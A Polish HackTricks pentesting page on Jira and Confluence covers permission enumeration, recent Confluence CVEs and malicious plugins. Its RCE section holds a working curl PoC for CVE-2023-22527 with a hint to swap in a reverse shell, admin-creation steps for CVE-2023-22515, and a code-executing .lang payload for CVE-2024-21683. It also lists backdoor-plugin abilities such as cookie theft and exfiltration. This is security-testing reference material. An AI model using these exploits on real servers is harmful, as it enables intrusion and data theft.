Jira & Confluence
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Sprawdzanie uprawnień
W Jira można sprawdzić uprawnienia przez dowolnego użytkownika, zalogowanego lub nie, za pomocą endpointów /rest/api/2/mypermissions lub /rest/api/3/mypermissions. Te endpointy ujawniają bieżące uprawnienia użytkownika. Istotny problem pojawia się, gdy użytkownicy niezalogowani posiadają uprawnienia, co wskazuje na lukę bezpieczeństwa, która potencjalnie może kwalifikować się do bounty. Podobnie, nieoczekiwane uprawnienia dla użytkowników uwierzytelnionych również wskazują na lukę.
Ważna aktualizacja została wprowadzona 1 lutego 2019, wymagająca, aby endpoint ‘mypermissions’ zawierał parametr ‘permission’. Wymóg ten ma na celu zwiększenie bezpieczeństwa poprzez określenie uprawnień, o które pytamy: sprawdź tutaj
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Automatyczna enumeracja
Najnowsze RCEs & practical exploit notes (Confluence)
CVE-2023-22527 – bez uwierzytelnienia template/OGNL injection (10.0)
- Dotyczy Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Wrażliwy Velocity template
text-inline.vmpozwala na ewaluację OGNL bez uwierzytelnienia. - Szybki PoC (polecenie uruchamia się jako użytkownik confluence):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Nagłówek odpowiedzi
x-cmdbędzie zawierać wynik polecenia. Zamieńidna reverse shell payload. - Skaner: nuclei template
http/cves/2023/CVE-2023-22527.yaml(dostarczany w nuclei-templates ≥9.7.5).
CVE-2023-22515 – setup reactivation admin creation (auth bypass)
- Publicznie osiągalny Confluence Data Center/Server 8.0.0–8.5.1 pozwala przełączyć
setupCompletei ponownie uruchomić/setup/setupadministrator.action, aby utworzyć nowe konto administratora. - Minimalny przebieg exploitu:
GET /server-info.action(bez uwierzytelnienia) aby upewnić się, że jest osiągalny.POST /server-info.actionz parametrembuildNumber, aby przełączyć flagęsetupComplete.POST /setup/setupadministrator.actionzfullName,email,username,password,confirm, aby utworzyć administratora.
CVE-2024-21683 – authenticated RCE via Code Macro upload
- Administrator Confluence może przesłać spreparowaną definicję języka w Configure Code Macro; silnik Rhino wykona osadzony kod Java, prowadząc do RCE.
- Aby uzyskać shell, prześlij plik
.langzawierający payload taki jak:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Uruchamia się po wybraniu złośliwego języka w dowolnej zawartości Code Macro. Metasploit module
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683automates auth + upload + exec.
Atlasian Plugins
Jak wskazano w tym blog, w dokumentacji dotyczącej Plugin modules ↗ można sprawdzić różne typy pluginów, takie jak:
- REST Plugin Module ↗: Udostępnia RESTful API endpoints
- Servlet Plugin Module ↗: Wdraża Java servlets jako część pluginu
- Macro Plugin Module ↗: Implementuje Confluence Macros, czyli parametryzowane szablony HTML
This is an example of the macro plugin type:
Przykład Macro pluginu
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Można zaobserwować, że te pluginy mogą być podatne na typowe podatności webowe, takie jak XSS. Na przykład poprzedni przykład jest podatny, ponieważ odzwierciedla dane podane przez użytkownika.
Po znalezieniu XSS, w [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) można znaleźć kilka payloadów zwiększających wpływ XSS.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) opisuje różne (złośliwe) działania, które mógłby wykonać złośliwy plugin Jira. Można znaleźć [**code example in this repo**](https://github.com/cyllective/malfluence).
Oto niektóre działania, które złośliwy plugin mógłby wykonać:
- **Hiding Plugins from Admins**: Możliwe jest ukrycie złośliwego pluginu poprzez wstrzyknięcie front-end javascriptu.
- **Exfiltrating Attachments and Pages**: Umożliwia dostęp i eksfiltrację wszystkich danych.
- **Stealing Session Tokens**: Dodać endpoint, który odzwierciedli nagłówki w odpowiedzi (wraz z cookie) oraz javascript, który się z nim skontaktuje i leak the cookies.
- **Command Execution**: Oczywiście możliwe jest stworzenie pluginu, który wykona kod.
- **Reverse Shell**: Lub uzyskać reverse shell.
- **DOM Proxying**: Jeśli confluence znajduje się wewnątrz prywatnej sieci, możliwe byłoby ustanowienie połączenia przez przeglądarkę użytkownika mającego do niego dostęp i na przykład kontaktowanie się z serwerem oraz wykonywanie na nim poleceń przez to połączenie.
## Referencje
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>


